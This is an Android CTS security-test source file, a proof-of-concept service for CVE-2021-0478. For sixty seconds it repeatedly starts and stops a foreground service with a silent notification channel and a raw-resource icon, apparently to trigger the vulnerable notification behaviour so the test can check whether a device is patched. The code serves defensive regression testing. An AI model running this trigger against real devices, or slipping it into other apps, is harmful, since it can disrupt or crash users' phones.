1 /* 2 * Copyright (C) 2021 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 package android.security.cts.cve_2021_0478; 18 19 import android.annotation.SuppressLint; 20 import android.app.Notification; 21 import android.app.NotificationChannel; 22 import android.app.NotificationManager; 23 import android.app.Service; 24 import android.content.Intent; 25 import android.graphics.drawable.Icon; 26 import android.os.IBinder; 27 28 public class PocService extends Service { 29 30 private static long SCAN_DURATION_MILLIS = 60000; 31 PocService()32 public PocService() {} 33 34 @Override onBind(Intent intent)35 public IBinder onBind(Intent intent) { 36 return null; 37 } 38 39 @Override onCreate()40 public void onCreate() { 41 super.onCreate(); 42 try { 43 NotificationManager notificationManager = 44 getSystemService(NotificationManager.class); 45 String id = "channel"; 46 NotificationChannel notificationChannel = 47 new NotificationChannel(id, " ", NotificationManager.IMPORTANCE_NONE); 48 notificationManager.createNotificationChannel(notificationChannel); 49 @SuppressLint("ResourceType") 50 Notification notification = new Notification.Builder(this, id) 51 .setSmallIcon(Icon.createWithResource(this, R.raw.image)) 52 .setContentTitle("hello").build(); 53 int notificationID = 31; 54 long startTime = System.currentTimeMillis(); 55 long endTime = startTime + SCAN_DURATION_MILLIS; 56 while (System.currentTimeMillis() < endTime) { 57 startForeground(notificationID, notification); 58 stopForeground(true); 59 } 60 } catch (Exception e) { 61 e.printStackTrace(); 62 } 63 } 64 } 65